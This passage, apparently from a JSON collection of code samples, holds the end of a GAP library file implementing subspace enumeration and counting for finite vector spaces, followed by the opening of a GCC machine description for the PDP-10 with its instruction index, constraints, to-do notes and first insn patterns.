\"dimension\", \"structure\" ] );\n#T not IsAttributeStoringRep?\n\n\n#############################################################################\n##\n#M  PrintObj( <D> )  . . . . . . . . . . . . . . . . . for a subspaces domain\n##\nInstallMethod( PrintObj,\n    \"method for a subspaces domain\",\n    [ IsSubspacesVectorSpace and IsSubspacesVectorSpaceDefaultRep ],\n    function( D )\n    if IsInt( D!.dimension ) then\n      Print( \"Subspaces( \", D!.structure, \", \", D!.dimension, \" )\" );\n    else\n      Print( \"Subspaces( \", D!.structure, \" )\" );\n    fi;\n    end );\n\n\n#############################################################################\n##\n#M  Size( <D> ) . . . . . . . . . . . . . . . . . . .  for a subspaces domain\n##\n##  The number of $k$-dimensional subspaces in a $n$-dimensional space over\n##  the field with $q$ elements is\n##  $$\n##  a(n,k) = \\prod_{i=0}^{k-1} \\frac{q^n-q^i}{q^k-q^i} =\n##           \\prod_{i=0}^{k-1} \\frac{q^{n-i}-1}{q^{k-i}-1}.\n##  $$\n##  We have the recursion\n##  $$\n##  a(n,k+1) = a(n,k) \\frac{q^{n-i}-1}{q^{i+1}-1}.\n##  $$\n##\n##  (The number of all subspaces is $\\sum_{k=0}^n a(n,k)$.)\n##\nInstallMethod( Size,\n    \"method for a subspaces domain\",\n    [ IsSubspacesVectorSpace and IsSubspacesVectorSpaceDefaultRep ],\n    function( D )\n\n    local k,\n          n,\n          q,\n          size,\n          qn,\n          qd,\n          ank,\n          i;\n\n    if D!.dimension = \"all\" then\n\n      # all subspaces of the space\n      n:= Dimension( D!.structure );\n\n      q:= Size( LeftActingDomain( D!.structure ) );\n      size:= 1;\n      qn:= q^n;\n      qd:= q;\n\n      # $a(n,0)$\n      ank:= 1;\n\n      for k in [ 1 .. Int( (n-1)/2 ) ] do\n\n        # Compute $a(n,k)$.\n        ank:= ank * ( qn - 1 ) / ( qd - 1 );\n        qn:= qn / q;\n        qd:= qd * q;\n\n        size:= size + ank;\n\n      od;\n\n      size:= 2 * size;\n\n      if n mod 2 = 0 then\n\n        # Add the number of spaces of dimension $n/2$.\n        size:= size + ank * ( qn - 1 ) / ( qd - 1 );\n      fi;\n\n    else\n\n      # number of spaces of dimension 'k' only\n      n:= Dimension( D!.structure );\n      if   D!.dimension < 0 or\n           n < D!.dimension then\n        return 0;\n      elif n / 2 < D!.dimension then\n        k:= n - D!.dimension;\n      else\n        k:= D!.dimension;\n      fi;\n\n      q:= Size( LeftActingDomain( D!.structure ) );\n      size:= 1;\n\n      qn:= q^n;\n      qd:= q;\n      for i in [ 1 .. k ] do\n        size:= size * ( qn - 1 ) / ( qd - 1 );\n        qn:= qn / q;\n        qd:= qd * q;\n      od;\n\n    fi;\n\n    # Return the result.\n    return size;\n    end );\n\n\n#############################################################################\n##\n#M  Enumerator( <D> ) . . . . . . . . . . . . . . . .  for a subspaces domain\n##\n##  Use the iterator to compute the elements list.\n#T This is not allowed!\n##\nInstallMethod( Enumerator,\n    \"method for a subspaces domain\",\n    [ IsSubspacesVectorSpace and IsSubspacesVectorSpaceDefaultRep ],\n    function( D )\n    local iter,    # iterator for 'D'\n          elms;    # elements list, result\n\n    iter:= Iterator( D );\n    elms:= [];\n    while not IsDoneIterator( iter ) do\n      Add( elms, NextIterator( iter ) );\n    od;\n    return elms;\n    end );\n#T necessary?\n\n\n#############################################################################\n##\n#M  Iterator( <D> ) . . . . . . . . . . . . . . . . .  for a subspaces domain\n##\n##  uses the subspaces iterator for full row spaces and the mechanism of\n##  associated row spaces.\n##\nBindGlobal( \"IsDoneIterator_Subspaces\",\n    iter -> IsDoneIterator( iter!.associatedIterator ) );\n\nBindGlobal( \"NextIterator_Subspaces\", function( iter )\n    local next;\n    next:= NextIterator( iter!.associatedIterator );\n    next:= List( GeneratorsOfLeftModule( next ),\n                 x -> LinearCombination( iter!.basis, x ) );\n    return Subspace( iter!.structure, next, \"basis\" );\n    end );\n\nBindGlobal( \"ShallowCopy_Subspaces\",\n    iter -> rec( structure          := iter!.structure,\n                 basis              := iter!.basis,\n                 associatedIterator := ShallowCopy(\n                                           iter!.associatedIterator ) ) );\n\nInstallMethod( Iterator,\n    \"for a subspaces domain\",\n    [ IsSubspacesVectorSpace and IsSubspacesVectorSpaceDefaultRep ],\n    function( D )\n    local V;      # the vector space\n\n    V:= D!.structure;\n    return IteratorByFunctions( rec(\n               IsDoneIterator     := IsDoneIterator_Subspaces,\n               NextIterator       := NextIterator_Subspaces,\n               ShallowCopy        := ShallowCopy_Subspaces,\n               structure          := V,\n               basis              := Basis( V ),\n               associatedIterator := Iterator(\n                      Subspaces( FullRowSpace( LeftActingDomain( V ),\n                                               Dimension( V ) ),\n                                 D!.dimension ) ) ) );\n    end );\n\n\n#############################################################################\n##\n#M  Subspaces( <V>, <dim> )\n##\nInstallMethod( Subspaces,\n    \"for a vector space, and an integer\",\n    [ IsVectorSpace, IsInt ],\n    function( V, dim )\n    if IsFinite( V ) then\n      return Objectify( NewType( CollectionsFamily( FamilyObj( V ) ),\n                                     IsSubspacesVectorSpace\n                                 and IsSubspacesVectorSpaceDefaultRep ),\n                        rec(\n                             structure  := V,\n                             dimension  := dim\n                           )\n                      );\n    else\n      TryNextMethod();\n    fi;\n    end );\n\n\n#############################################################################\n##\n#M  Subspaces( <V> )\n##\nInstallMethod( Subspaces,\n    \"for a vector space\",\n    [ IsVectorSpace ],\n    function( V )\n    if IsFinite( V ) then\n      return Objectify( NewType( CollectionsFamily( FamilyObj( V ) ),\n                                     IsSubspacesVectorSpace\n                                 and IsSubspacesVectorSpaceDefaultRep ),\n                        rec(\n                             structure  := V,\n                             dimension  := \"all\"\n                           )\n                      );\n    else\n      TryNextMethod();\n    fi;\n    end );\n\n\n#############################################################################\n##\n#F  IsSubspace( <V>, <U> ) . . . . . . . . . . . . . . . . . check <U> <= <V>\n##\nInstallGlobalFunction( IsSubspace, function( V, U )\n    return IsVectorSpace( U ) and IsSubset( V, U );\nend );\n\n\n#############################################################################\n##\n#M  IsVectorSpaceHomomorphism( <map> )\n##\nInstallMethod( IsVectorSpaceHomomorphism,\n    [ IsGeneralMapping ],\n    function( map )\n    local S, R, F;\n    S:= Source( map );\n    if not IsVectorSpace( S ) then\n      return false;\n    fi;\n    R:= Range( map );\n    if not IsVectorSpace( R ) then\n      return false;\n    fi;\n    F:= LeftActingDomain( S );\n    return ( F = LeftActingDomain( R ) ) and IsLinearMapping( F, map );\n    end );\n\n\n#############################################################################\n##\n#E\n\n"
  },
  {
    "path": "samples/GCC Machine Description/pdp10.md",
    "content": ";;- Machine description for the PDP-10.\n;;  Copyright (C) 2001, 2002 Lars Brinkhoff.\n;;  Contributed by Lars Brinkhoff <lars@nocrew.org>, funded by XKL, LLC.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Index\n\n;;   Front Page\n;;   Index\n;;   Constraints for Immediate Operands\n;;   To-do List\n;;   Instruction Wish-List\n;;   Attributes\n;;\tlength, skip, reorg_type\n;;   Unspec Usage\n;;\tUNSPEC_ADJSP, UNSPEC_ADJBP, UNSPEC_ADDRESS, UNSPEC_FFO, UNSPEC_SUBBP,\n;;\tVUNSPEC_BLT, VUNSPEC_FSC, VUNSPEC_XBLT, VUNSPEC_MOVSLJ, VUNSPEC_MOVST\n;;   Constants\n;;      RIGHT_HALF, LEFT_HALF, SIGNBIT, SP_REGNUM\n;;   Optimizations\n;;   Data Movement\n;;\tLDB, ILDB, (LDBI), LDBE, ILDBE, (LDBEI), DPB, IDPB, (DPBI),\n;;\tHRR, HRL, HLR, HLL, HRRM, HRLM, HLRM, HLLM,\n;;\tHRRZ, HRLZ, HLRZ, HLLZ, HRRE, HRLE, HLRE, HLLE,\n;;\tSETZM, SETOM,\n;;\tMOVE, MOVEI, MOVSI, HRLOI, HRROI, MOVEM,\n;;\tMOVS, EXCH, SETZB,\n;;\tDMOVE, DMOVEM,\n;;\tBLT, XBLT, (MOVSLJ), (MOVST), (CMPS)\n;;   Conditional Data Movement\n;;\tSKIPL, SKIPE, SKIPLE, SKIPGE, SKIPN, SKIPG,\n;;\tTDZA\n;;   Integer Arithmetic\n;;\tAOS, SOS,\n;;\tADD, ADDI, ADDM, ADDB, DADD,\n;;\tSUB, SUBI, SUBM, SUBB, DSUB,\n;;\tIMUL, IMULI, IMULM, IMULB, MUL, MULI, MULM, MULB, DMUL,\n;;\tIDIV, IDIVI, IDIVM, DIV, DIVI, DIVM, DDIV,\n;;\tUIDIV, UIDIVI, UIDIVM, UIMOD, UIMODI, UIMODM,\n;;\tMOVN, MOVNM, MOVNS, MOVNI, DMOVN, DMOVNM,\n;;\tMOVM, MOVMM, MOVMS,\n;;\tFFS\n;;   Integer Conversions\n;;\tANDI, HRRZ, SEXT, HRRE, ANDI, HRR\n;;   Shifting and Rotating\n;;\tLSH, LSHC, ASH, ASHC, ROT, ROTC\n;;   Logical Operations\n;;\tAND, ANDI, ANDM, ANDB, TLZ, ANDCMI,\n;;\tANDCA, ANDCAI, ANDCAM, ANDCAB, ANDCBI,\n;;\tANDCM, ANDCMM, ANDCMB,\n;;\tXOR, XORI, XORM, XORB, TLC, EQVI,\n;;\tIOR, IORI, IORM, IORB, TLO, ORCMI,\n;;\tANDCB, ANDCBM, ANDCBB,\n;;\tEQV, EQVM, EQVB,\n;;\tSETCA, SETCAM, SETCAB,\n;;\tSETCM, SETCMM, SETCMB,\n;;\tORCA, ORCAI, ORCAM, ORCAB, ORCBI,\n;;\tORCM, ORCMM, ORCMB,\n;;\tORCB, ORCBM, ORCBB\n;;   Floating-point Arithmetic\n;;\tFADR, FADRI, FADRM, FADRB, DFAD, GFAD,\n;;\tFSBR, FSBRI, FSBRM, FSBRB, DFSB, GFSB,\n;;\tMOVM, MOVMM, MOVMS,\n;;\tMOVN, MOVNM, MOVNS, DMOVN, DMOVNM,\n;;\tFMPR, FMPRI, FMPRM, FMPRB, DFMP, GFMP,\n;;\tFDVR, FDVRI, FDVRM, FDVRB, DFDV, GFDV,\n;;\tSQRT, DSQRT, GSQRT,\n;;\tFSC, DFSC, GFSC\n;;   Floating-point Conversions\n;;\tFIX, DFIX, GFIX, DDFIX, GDFIX,\n;;\tFLTR, DFLTR, GFLTR, DDFLTR, DGFLTR,\n;;\tGSNGL, GDBLE\n;;   Pointer Arithmetic\n;;\tIBP, ADJBP, SUBBP\n;;   Unconditional Jumps\n;;\tJFCL, JRST, PUSHJ\n;;   Conditional Jumps\n;;\tTRNE, TLNE, TDNE, TRNN, TLNN, TDNN, TLZN,\n;;\tJUMP, SKIP, CAI, CAM,\n;;\tSOJ, SOS, AOJ, AOS,\n;;\tJFFO, CMPBP\n;;   Function prologue and epilogue\n;;\tPOPJ, ADJSP, PUSH, POP\n;;   Peepholes\n;;   Miscellaneous\n;;\n;; Instructions in parentheses are either commented out or not\n;; generated by the compiler.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Constraints for Immediate Operands\n\n;;   'G'\tAny valid immediate floating-point constant.\n;;   'I'\t0 .. 262143\n;;   'J'\t-262143 .. 0\n;;   'K'\t-131072 .. 131071\n;;   'L'\txxxxxx,,000000 (MOVSI, TLN, TLO, TLC)\n;;   'M'\t-1\n;;   'N'\txxxxxx,,777777 (HRLOI, TLZ)\n;;   'O'\t0\n;;   'P'\t777777,,xxxxxx (HRROI, ORCMI, ANDCBI, ANDCMI)\n;;   'Q'\t1\n;;   'R'\tFloating-point zero.\n;;   'S'\tLocal symbol.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; To-do List\n\n;; Use peep2_reg_dead_p in peepholes.\n\n;; Unsigned multiplication.\n;;\n;;\tmul 1,3\t\t; multiply AC1 by AC3\n;;\tlsh 2,1\n;;\tlshc 1,-1\t; result in AC2\n\n;; 71-bit arithmetic.\n;;\n;; Addition, subtraction, multiplication, division, arithmetic shift:\n;; supported in hardware.\n;;\n;; Logical shift (left or right).\n;;\n;;\tlsh 2,-1\n;;\tlshc 1,3\n;;\tlsh 2,1\n\n;; 72-bit arithmetic.\n;;\n;; Addition 72 x 72 -> 72.\n;;\n;;\tjfcl 17,.+1\t; add AC1 and AC2 to AC3 and AC4\n;;\tadd 2,4\n;;\tjcry0 [aoja 1,.+1]\n;;\tadd 1,3\t\t; result in AC1 and AC2\n;;\n;; Subtraction 72 x 72 -> 72.\n;;\n;;\tjfcl 17,.+1\t; add AC1 and AC2 to AC3 and AC4\n;;\tsub 2,4\n;;\tjcry0 .+2\n;;\t subi 1,1\n;;\tsub 1,3\t\t; result in AC1 and AC2\n;;\n;; Negation 72 -> 72.\n;;\n;;\tsetcm 1,3\n;;\tmovn 2,4\n;;\tjumpe 2,[aoja 1,.+1]\n;;\n;;\t; to self\n;;\tsetca 1,\n;;\tjumpe 2,[aoja 1,.+2]\n;;\t movn 2,2\n;;\n;; Magnitude 72 -> 72.\n;;\n;;\t; conditional negation\n;;\tjumpge 1,.+4\n;;\tsetca 1,\n;;\tjumpe 2,[aoja 1,.+2]\n;;\t movn 2,2\n;;\n;;\t; mask = x >> 71 (arithmetic shift)\n;;\t; y = (x ^ mask) - mask\n;;\tmove 3,1\n;;\tash 1,-43\t; shortcut\n;;\txor 1,3\n;;\txor 2,3\n;;\tjfcl 17,.+1\n;;\tsub 2,3\n;;\tjcry0 [aoja 1,.+1]\n;;\n;; Signed right shift 72 -> 72.\n;;\n;;\tVariable amount:\n;;\n;;\t; only works if n <= 35\n;;\tmovn 4,3\t; operand in AC1:AC2, shift amount in AC3\n;;\tlshc 1,4\n;;\tlsh 1,3\n;;\tash 1,4\t\t; result in AC1:AC2\n;;\n;;\t; loop\n;;\tjumple 3,.+5\n;;\t lshc 1,-1\n;;\t tlne 1,200000\n;;\t  tlo 1,400000\n;;\t sojg 3,.-3\n;;\n;;\t; only works if n <= 70\n;;\ttlnn 1,400000\n;;\t tdza 4,4\n;;\t  movsi 4,400000\n;;\tmovei 5,0\n;;\tashc 4,3\n;;\tlsh 5,1\n;;\tlshc 1,3\n;;\tior 1,4\n;;\tior 2,5\n;;\n;;\tFixed amount:\n;;\n;;\tlshc 1,-n\n;;\ttlne 1,mask1\n;;\t tlo 1,mask2\n;;\n;;\tskipge 1\t; or cail 1,0 or jumpge 1,.+2 or tlne 1,400000\n;;\t iori 2,<2^n-1>\n;;\trotc 1,-n\n;;\n;; Signed multiplication 36 x 36 -> 72.\n;;\n;;\tjfcl .+1\t; multiply AC1 by AC3\n;;\tmul 1,3\n;;\tlsh 2,1\n;;\tjov [movsi 1,200000\n;;\t     jrst .+4]\n;;\tlshc 1,-1\n;;\ttlne 1,200000\n;;\t tlo 1,400000\t; result in AC1 and AC2\n;;\n;;\tmul 1,3\n;;\tlsh 2,1\n;;\tjumpe 2,[cam 1,[400000000000]\n;;\t          jrst .+1\n;;\t         movsi 1,200000\n;;\t         jrst .+4]\n;;\tlshc 1,-1\n;;\ttlne 1,200000\n;;\t tlo 1,400000\t; result in AC1 and AC2\n;;\n;;\t...\n;;\tlshc 1,-1\n;;\tlsh 1,1\n;;\tash 1,-1\t; result in AC1 and AC2\n;;\n;;\t...\n;;\tskipge 1\n;;\t iori 2,1\n;;\trotc 1,-1\t; result in AC1 and AC2\n;;\n;;\tjfcl .+1\t; multiply AC1 by AC3\n;;\tmul 1,3\n;;\tjov [movsi 1,200000\n;;\t     movei 2,0\n;;\t     jrst .+5]\n;;\ttrne 1,1\n;;\t tloa 2,400000\n;;\t  tlz 2,400000\n;;\tash 1,-1\t; result in AC1 and AC2\n;;\n;;\t 377777,,777777 ^ 2\t\t =  177777,,777777 000000,,000001\n;;\t-400000,,000000 * 377777,,777777 = -177777,,777777 400000,,000000\n;;\t\t\t\t\t(=  600000,,000000 400000,,000000)\n;;\t-400000,,000000 ^ 2\t\t =  200000,,000000 000000,,000000\n;;\t-400000,,000000 * -1\t\t =  000000,,000000 400000,,000000\n;;\t-000000,,000001 ^ 2              =  000000,,000000 000000,,000001\n;;\t-000000,,000001 * 000000,,000001 = -000000,,000000 000000,,000001\n;;\t\t\t\t\t(=  777777,,777777 777777,,777777)\n;;\t-000000,,000001 * 000001,,000001 = -000000,,000000 000001,,000001\n;;\t\t\t\t\t(=  777777,,777777 777776,,777777)\n;;\n;; Signed high part multiplication 36 x 36 -> 36.\n;;\n;;\tjfcl .+1\t; multiply AC1 by AC2\n;;\tmulm 2,1\n;;\tjov [movsi 1,200000\n;;\t     jrst .+2]\n;;\tash 1,-1\t; result in AC1\n;;\n;; Unsigned multiplication 36 x 36 -> 72.\n;;\n;;\t377777,,777777 ^ 2\t\t= 177777,,777777 000000,,000001\n;;\t400000,,000000 * 377777,,777777 = 177777,,777777 400000,,000000\n;;\t400000,,000000 ^ 2\t\t= 200000,,000000 000000,,000000\n;;\t400000,,000000 * 777777,,777777 = 377777,,777777 400000,,000000\n;;\t777777,,777777 ^ 2              = 777777,,777776 000000,,000001\n;;\t777777,,777777 * 000000,,000001 = 000000,,000000 777777,,777777\n;;\t777777,,777777 * 000001,,000001 = 000001,,000000 777776,,777777\n;;\n;; Multiplication 72 x 72 -> 72.\n;;\n;;\tdmul 1,3\t; multiply AC1 and AC2 by AC3 and AC4\n;;\tlsh 3,1\n;;\tlshc 2,-1\n;;\tlsh 4,1\n;;\tlshc 3,1\n;;\ttrne 2,1\n;;\t tlo 3,400000\t; result in AC3 and AC4\n;;\n;;\tdmul 1,3\n;;\tlsh 4,1\n;;\tlshc 3,-1\n;;\tlsh 3,2\n;;\tlshc 2,-2\n;;\n;; Comparisons 72 x 72.\n;;\n;;\t; x == y\n;;\tCAMN x+1,y+1\t\t\n;;\t CAME x,y\n;;\t  ;here if false\n\n;; TSC, TSO, TSZ.  TSNE, TSNN.\n\n;; Ok to negate double-word integer with DMOVN?\n;; Answer: perhaps not.\n;;\n;; If comparison code cares about bit 0 in the second word of a\n;; double-word integer, negation has to set the bit to the right\n;; value.\n\n;; Converting from double float to single float (truncdfsf2) needs\n;; rounding.\n\n;; ANDCMI really faster than TRZ?\n\n;; Add `cmpdi' pattern.\n\n;; Revisit `casesi'.\n\n;; *move_and_skipsi and *move_and_skipsf clobbers accumulator 0.  Is\n;; it possible to allocate a scratch register?\n\n;; Peepholes for AOSA and SOSA.\n\n;; \"Self\" half-word instructions.\n\n;; AOBJP, AOBJN?\n\n;; SUBREG of DImode causes bad register allocation:\n;; divmodsi4, divmoddi4, expand_builtin_jffo, ffssi.\n\n;; String instructions.  Avoid them for now.  REG: \"None of these is\n;; fast.  None of these is thoroughly tested.  They all require a lot\n;; of registers for setup.  They are uncharacteristic of other PDP-10\n;; instructions.\"\n\n;; Test-modify-skip instructions?\n\n;; In case anyone would like to play strange games, this could be\n;; optimized to use a PUSHJ instruction:\n;;   static\n;;   foo (void **p, void *f)\tFOO:\n;;   {\t\t\t\t\tPUSHJ 1,(2)\n;;     *++p = &&label;\t\t\tPOPJ 17,\n;;     goto *f;\n;;    label:\n;;     return;\n;;   }\n;; And POPJ:\n;;   static void\n;;   bar (void **p)\t\tBAR:\n;;   {\t\t\t\t\tPOPJ 1,\n;;     goto *p--;\n;;   }\n\n;; Use JSP to call functions with __attribute__ ((fastcall)) or similar.\n\n;; Historical: KA10 software double precision floating-point.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Instruction Wish-List\n\n;; ILDBE, LDBE - (increment and) load sign-extended byte.\n\n;; LDBI, LDBEI, DPBI - load/deposit byte, then increment.\n\n;; SUBBP - subtract byte pointers.\n\n;; CMPBP - compare byte pointers.\n\n;; SEXT r,n - sign-extend n-bit byte in register r.\n\n;; Clear/set byte.\n\n;; Test byte >0 =0 <0.\n\n;; UIDIV, UDIV, UDDIV - unsigned division (udivsi3, udivdi3).\n\n;; UIMOD, UMOD, UDMOD - unsigned modulo (umodsi3, umoddi3).\n\n;; UJUMP, USKIP, UCAI, UCAM - compare unsigned values.\n\n;; MIN, MAX, UMIN, UMAX - min/max (minsi3, maxsi3, uminsi3, umaxsi3).\n\n;; SQRT, DSQRT, GSQRT - square root (sqrtM2).\n\n;; SIN, DSIN, GSIN - sine function (__builtin_sin).\n\n;; COS, DCOS, GCOS - cosine function (__builtin_cos).\n\n;; Any other mathematical function: TAN, ASIN, ACOS, ATAN, SINH, COSH,\n;; TANH, ASINH, ACOSH, ATANH, EXP, LN, LOG2, LOG10, POW, ...  All\n;; potentially in single, double, and giant versions.\n\n;; FFS - find first set, counting least significant bit first (ffsM2).\n\n;; ?DFIX, DFIXR - Double Floating to Integer (fix_truncdfsi2).\n;; ?DFIX, DFIXR - Single Floating to Double Precision Integer (fix_truncsfdi2).\n;; DDFIX, DDFIXR - Double Floating to Double Precision Integer (fix_truncdfdi2)\n\n;; ?DFLTR - Double Float and Round (floatsidf2).\n;; ?DFLTR - Float Double Precision Integer and Round (floatdisf2).\n;; DDFLTR - Double Float Double Precision Integer and Round (floatdidf2).\n\n;; UDFLTR, UGFLTR, ... - Unsigned Float and Round (floatuns...).\n\n;; WAIT - wait for interrupt.\n\n;; XPUSH, XPUSHJ, XPOP, XPOPJ - fast versions for use with a global\n;; stack pointer only.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Attributes\n\n;; Length of the instruction, in words.\n(define_attr \"length\" \"\" (const_int 1))\n\n;; The instruction is a skip instruction.\n(define_attr \"skip\" \"no,yes\" (const_string \"no\"))\n\n;; Instruction type used in the machine dependent reorg pass.\n(define_attr \"reorg_type\" \"none,ibp,ldb,dpb\" (const_string \"none\"))\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Unspec Usage\n\n(define_constants\n  [(UNSPEC_ADJSP\t0)\t; ADJSP operation (Pmode):\n\t\t\t\t;   Operand 0 is the stack pointer.\n\t\t\t\t;   Operand 1 is the adjustment.\n   (UNSPEC_ADJBP\t1)\t; ADJBP operation (Pmode):\n\t\t\t\t;   Operand 0 is the byte pointer.\n\t\t\t\t;   Operand 1 is the adjustment.\n   (UNSPEC_ADDRESS\t2)\t; Effective-address calculation (Pmode):\n\t\t\t\t;   Operand 0 is the memory operand.\n   (UNSPEC_FFO\t\t3)\t; Find-first-one operation in FFO (SImode):\n\t\t\t\t;   Operand 0 is the register.\n   (UNSPEC_FSC\t\t4)\t; FSC operation (SFmode, DFmode):\n\t\t\t\t;   Operand 0 is the floating-point value.\n\t\t\t\t;   Operand 1 is the scale factor.\n   (UNSPEC_SHIFT\t5)\t; Left-shift operation (SImode, Pmode):\n\t\t\t\t;   Used to compensate for unnecessary\n\t\t\t\t;   shifts generated by pointer arithmetic.\n\t\t\t\t;   Operand 0 is the value.\n\t\t\t\t;   Operand 1 is the shift count.\n   (UNSPEC_SHIFTRT\t6)\t; Right-shift operation (SImode, Pmode):\n\t\t\t\t;   Used to compensate for unnecessary\n\t\t\t\t;   shifts generated by pointer arithmetic.\n\t\t\t\t;   Operand 0 is the value.\n\t\t\t\t;   Operand 1 is the shift count.\n   (UNSPEC_TLNE_TLZA_TLO\t; TLNE-TLZA-TLO sequence (SImode):\n\t\t\t7)\t;   Operand 0 is the register.\n\t\t\t\t;   Operand 1 is the TLNE operand.\n\t\t\t\t;   Operand 2 is the TLZA operand.\n\t\t\t\t;   Operand 3 is the TLO operand.\n   (UNSPEC_SUBBP\t8)\t; Byte pointer difference (SImode):\n\t\t\t\t;   Operand 0 is the first pointer.\n\t\t\t\t;   Operand 1 is the second pointer.\n   (UNSPEC_CMPBP\t9)\t; Prepare byte pointer for comparison (SImode):\n\t\t\t\t;   Operand 0 is the pointer.\n   (UNSPEC_REAL_ASHIFT\t10)\t; Arithmetic left shift (SImode, DImode):\n\t\t\t\t;   Operand 0 is the value to shift.\n\t\t\t\t;   Operand 1 is the amount to shift by.\n   (UNSPEC_ASH71\t11)\t; 71-bit arithmetic shift (DImode):\n\t\t\t\t;   Operand 0 is the value to shift.\n\t\t\t\t;   Operand 1 is the amount to shift by.\n   (UNSPEC_MUL71\t12)\t; 71-bit multiplication (DImode):\n\t\t\t\t;   Operands 0 and 1 are the multiplicands.\n   (UNSPEC_SIGN_EXTEND\t13)\t; Sign extension (SImode):\n\t\t\t\t;   Operand 0 is the value to extend.\n\t\t\t\t;   Operand 1 is the number of bits to extend.\n   (UNSPEC_ZERO_EXTEND\t14)\t; Zero extension (SImode):\n\t\t\t\t;   Operand 0 is the value to extend.\n\t\t\t\t;   Operand 1 is the number of bits to extend.\n   (UNSPEC_TRUNCATE\t15)\t; Truncate (SImode):\n\t\t\t\t;   Operand 0 is the value to truncate.\n\t\t\t\t;   Operand 1 is the number of bits to trunc.\n   (UNSPEC_TRNE_TLO\t16)\t; TLNE-TLO sequence (SImode):\n\t\t\t\t;   Operand 0 is the TRNE operand.\n\t\t\t\t;   Operand 1 is the TLO operand.\n   (UNSPEC_ASHC\t\t17)\t; ASHC operation (DImode):\n\t\t\t\t;   Operand 0 is the value to shift.\n\t\t\t\t;   Operand 1 is the amount to shift by.\n   (UNSPEC_LSHC\t\t18)])\t; ASHC operation (DImode):\n\t\t\t\t;   Operand 0 is the value to shift.\n\t\t\t\t;   Operand 1 is the amount to shift by.\n\n(define_constants\n  [(VUNSPEC_BLOCKAGE\t0)\n   (VUNSPEC_BLT\t\t1)\t; BLT operation (BLKmode):\n\t\t\t\t;   Operand 0 is the source address.\n\t\t\t\t;   Operand 1 is the destination address.\n\t\t\t\t;   Operand 2 is the block length.\n   (VUNSPEC_XBLT\t2)\t; XBLT operation (BLKmode):\n\t\t\t\t;   operand 0 is the block length\n\t\t\t\t;   operand 1 is the source address\n\t\t\t\t;   operand 2 is the destination address\n   (VUNSPEC_MOVSLJ\t3)\t; MOVSLJ operation (BLKmode):\n\t\t\t\t;   operand 0 is the register block\n   (VUNSPEC_MOVST\t4)\t; MOVST operation (BLKmode):\n\t\t\t\t;   operand 0 is the register block\n   (VUNSPEC_CMPS\t5)])\t; CMPS operation (BLKmode):\n\t\t\t\t;   operand 0 is the register block\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Constants\n\n(define_constants\n  [(RIGHT_HALF\t262143)\t\t; 0000000777777\n   (LEFT_HALF\t-262144)\t; 0777777000000\n   (SIGNBIT\t-34359738368)\t; 0400000000000\n   (FP_REGNUM\t13)\t\t; Frame pointer register.\n   (SP_REGNUM\t15)])\t\t; Stack pointer register.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Optimizations\n\n;; Adding a constant to a word pointer is done fastest by (X)MOVEI\n;; op0,const(op1).  As a special case, recognize the stack pointer.\n(define_insn \"MOVEI_sp\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(plus:SI (reg:SI SP_REGNUM)\n\t\t (match_operand:SI 1 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    operands[1] = gen_rtx_PLUS (Pmode, stack_pointer_rtx, operands[1]);\n    /* ADDRESS: ...  */\n    return TARGET_EXTENDED ? \"xmovei %0,%a1\" : \"movei %0,%a1\";\n  })\n\n;; Moving from any word pointer is done fastest by (X)MOVEI op0,(op1).\n;; As a special case, recognize the stack pointer.\n(define_insn \"*move_from_sp\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(reg:SI SP_REGNUM))]\n  \"\"\n  {\n    /* ADDRESS: ...  */\n    return TARGET_EXTENDED ? \"xmovei %0,(17)\" : \"movei %0,(17)\";\n  })\n\n;; Load scalar signed chars using HRRE.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (sign_extend:SI\n\t (match_operand:QI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"hrre %0,%W1\")\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (sign_extract:SI\n\t (match_operand:SI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")\n\t (const_int 9)\n\t (const_int 27)))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"hrre %0,%1\")\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(subreg:QI\n\t (zero_extract:SI (match_operand: SI 1 \"memory_operand\" \"m\")\n\t\t\t  (const_int 9)\n\t\t\t  (const_int 27))\n\t 3))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"move %0,%1\")\n\n(define_insn \"\"\n  [(set (subreg:QI\n\t (zero_extract:SI (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t\t\t  (const_int 9)\n\t\t\t  (const_int 27))\n\t 3)\n\t(match_operand:QI 1 \"register_operand\" \"r\"))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%0\")\n\n(define_insn \"\"\n  [(set (subreg:HI\n\t (zero_extract:SI (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t\t\t  (const_int 18)\n\t\t\t  (const_int 18))\n\t 2)\n\t(match_operand:HI 1 \"register_operand\" \"r\"))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" 